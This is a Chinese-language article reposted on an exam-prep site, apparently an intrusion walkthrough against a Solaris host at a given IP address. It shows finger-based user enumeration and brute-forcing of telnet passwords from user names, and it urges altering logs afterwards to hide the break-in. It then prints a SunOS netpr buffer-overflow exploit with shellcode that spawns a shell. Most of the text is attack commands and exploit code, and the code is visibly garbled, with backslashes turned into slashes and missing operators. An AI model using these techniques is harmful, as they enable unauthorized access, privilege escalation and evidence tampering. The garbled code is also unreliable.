Unix系统的攻击和防范

来源:Linux认证    发布时间:2012-11-10    Linux认证视频    评论

    研究一下,除去root和被关掉的账号,还有七个可用账号:dennis、walter、power、deal、jessica、smith和render,他们就是我们进入该主机最后的希望。^_^ finger上场!
    bash$ finger @202.202.0.8
    [202.202.0.8 ]
    LoginNameTTYIdleWhenWhere
    daemon??? < . . . . >
    bin ??? < . . . . >
    sys ??? < . . . . >
    walterWalter Wan pts/0202.202.0.114
    dennisDennis Lee437 888wnet.net
    power Power Xiong0202.202.0.10
    dealH Wang pts/2202.202.0.11
    admin ???< . . . . >
    jessicaJessica Xiaopts/0202.202.0.9
    smithSmith Liu pts/0202.202.0.13
    render Renderpts/0202.103.10.117
    ftp ???< . . . . >
    好!我需要的Name出来了,赶快保存:
    bash$ finger @202.202.0.8 》 /home/crossbow/name.lst
    bash$ more /home/crossbow/name.lst
    [202.202.0.8 ]
    LoginNameTTYIdleWhenWhere
    daemon ???< . . . . >
    bin???< . . . . >
    sys???< . . . . >
    walterWalter Wanpts/0 202.202.0.114
    dennisDennis Lee 437888wnet.net
    powerPower Xiong0 202.202.0.10
    dealH Wang pts/2202.202.0.11
    admin???pts/0< . . . . >
    jessicaJessica Xiao pts/0202.202.0.9
    smith Smith Liu pts/0202.202.0.13
    renderRender Chen0202.103.10.117
    ftp???< . . . . >
    由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序--got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志"加工"一下。它的用法是:got! -n 用户的姓 目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。
    bash$ got! -n wan 202.202.0.8 walter
    Attempting…
    N分钟以后……
    Failed!
    bash$
    见鬼!失败了一个,再试下一个:
    bash$ got! -n lee 202.202.0.8 dennis
    Attempting…
    Failed!
    bash$
    再次失败,已经浪费了不少时间了!:-("失败是成功之母",不要灰心,接着来:
    bash$ got! -n xiong 202.202.0.8 Power
    Attempting…
    Bingo!!!
    The password of user 'power' is 'xiong99'! Good luck!
    bash$
    哈哈,得手了!终于搞到一个账户了--用户名:power;密码:xiong99.赶快用telnet吧!
    bash$ telnet 202.202.0.8
    SunOS 5.6
    login:power
    password:
    Last login: Sun Dec 2 13:21:55 CDT 2001 from
    202.202.0.10
    Sun Microsystems Inc. SunOS 5.6
    You have mail.
    进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人:
    $ w
    13:07pm up 61 day(s), 3 users, ……
    User tty login@ idle JCPU PCPU what
    root pts/0 11:49am tail -f syslog
    smith pts/5 12:13pmls -l *.c
    power pts/7 13:07pm w
    乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节:
    $ uname -a
    SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10
    在看看这个用户的环境设置:
    $ set
    HOME=/export/home/power
    HZ=100
    IFS=
    LOGNAME=power
    MAIL=/var/mail/power
    MAILCHECK=600
    OPTIND=1
    PATH=/usr/bin:
    PS1=$
    PS2=>
    SHELL=/bin/sh
    TERM=ansi
    TZ=China
    再看看有没有gcc,没有这玩艺,那就……@#$%^&*!
    $ gcc
    gcc: No input files.
    不错,编译器还"健在",没被删掉。现在,我们就开始溢出吧!^_^
    $ cd
    $ pwd
    $ /export/home/power
    $ mkdir …
    $ cd …
    $ vi ./.of.c
    file://Here is the C source code for overflow in SunOS.
    #include
    #include
    #include
    #include
    #include
    #define NOPNUM 4000
    #define ADRNUM 1200
    #define ALLIGN 3
    char shellcode[]=
    "/x20/xbf/xff/xff" /* bn,a */
    "/x20/xbf/xff/xff" /* bn,a */
    "/x7f/xff/xff/xff" /* call */
    "/x90/x03/xe0/x20" /* add %o7,32,%o0 */
    "/x92/x02/x20/x10" /* add %o0,16,%o1 */
    "/xc0/x22/x20/x08" /* st %g0,[%o0 8] */
    "/xd0/x22/x20/x10" /* st %o0,[%o0 16] */
    "/xc0/x22/x20/x14" /* st %g0,[%o0 20] */
    "/x82/x10/x20/x0b" /* mov 0xb,%g1 */
    "/x91/xd0/x20/x08" /* ta 8 */
    "/bin/ksh";
    char jump[]=
    "/x81/xc3/xe0/x08" /* jmp %o7 8 */
    "/x90/x10/x00/x0e"; /* mov %sp,%o0 */
    static char nop[]="/x80/x1c/x40/x11";
    main(int argc,char **argv)
    {
    char buffer[10000],adr[4],*b,*envp[2];
    int i;
    printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net//n");
    printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc/n/n");
    if(argc==1)
    {
    printf("usage: %s lpserver/n",argv[0]);
    exit(-1);
    }
    *((unsigned long*)adr)=(*(unsigned long(*)())jump)() 7124 2000;
    envp[0]=&buffer[0];
    envp[1]=0;
    b=&buffer[0];
    sprintf(b,"xxx=");
    b =4;
    for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b =0xff;
    for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
    b=&buffer[5000];
    for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
    execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
    "-p",&buffer[5000],"/bin/sh",0,envp);
    }

    考试大温馨提示:本内容来源于网络,仅代表作者个人观点,与本站立场无关,仅供您学习交流使用。其中可能有部分文章经过多次转载而造成文章内容缺失、错误或文章作者不详等问题,请您谅解。如有侵犯您的权利,请联系我们,本站会立即予以处理。

    编辑特别推荐:

    linuxln命令详解

    nginx关于服务静态文件的配置

    使用expect实现ssh自动交互

视频学习

我考网版权与免责声明

① 凡本网注明稿件来源为"原创"的所有文字、图片和音视频稿件,版权均属本网所有。任何媒体、网站或个人转载、链接转贴或以其他方式复制发表时必须注明"稿件来源:我考网",违者本网将依法追究责任;

② 本网部分稿件来源于网络,任何单位或个人认为我考网发布的内容可能涉嫌侵犯其合法权益,应该及时向我考网书面反馈,并提供身份证明、权属证明及详细侵权情况证明,我考网在收到上述法律文件后,将会尽快移除被控侵权内容。

最近更新

社区交流

考试问答